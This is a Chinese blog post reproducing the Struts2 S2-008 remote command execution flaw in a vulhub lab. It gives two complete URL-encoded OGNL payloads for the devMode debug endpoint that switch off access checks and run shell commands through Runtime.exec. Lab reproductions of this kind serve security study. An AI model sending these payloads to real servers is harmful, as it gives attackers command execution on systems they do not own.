漏洞复现-s2-008-RCE

0x00 实验环境

攻击机:Ubuntu

靶场:vulhub搭建的靶场环境

 

0x01 影响版本

影响版本:2.1.0 - 2.3.1

形成原因:devMode下支持直接执行OGNL表达式,Cookie 拦截器错误配置可造成 OGNL 表达式执行,生产环境一般不会存在该漏洞,但是开了debug模式就可以直接执行命令。

 

0x02 漏洞复现

直接使用如下payload:

payload1:devmode.action?debug=command&expression=(%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c%23foo%3dnew+java.lang.Boolean("false")+%2c%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls+-al+./').getInputStream()))

  

payload2:devmode.action?debug=command&expression=%23context["xwork.MethodAccessor.denyMethodExecution"]%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess")%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec("ls+-al").getInputStream()%2C%23b%3Dnew java.io.InputStreamReader(%23a)%2C%23c%3Dnew java.io.BufferedReader(%23b)%2C%23d%3Dnew char[50000]%2C%23c.read(%23d)%2C%23genxor%3D%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()

  

 

使用最新版工具可直接检测出来,其他漏洞类型是因为都在这个版本内,所以也存在其他类似的漏洞:

 

 

0x03 漏洞原理

http://www.hackdig.com/12/hack-557751.htm

 

0x04 参考文献

http://www.hackdig.com/12/hack-557751.htm

 

0x05 免责声明

本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!

posted @ 2022-07-07 11:52  铺哩  阅读(267)  评论(0编辑  收藏  举报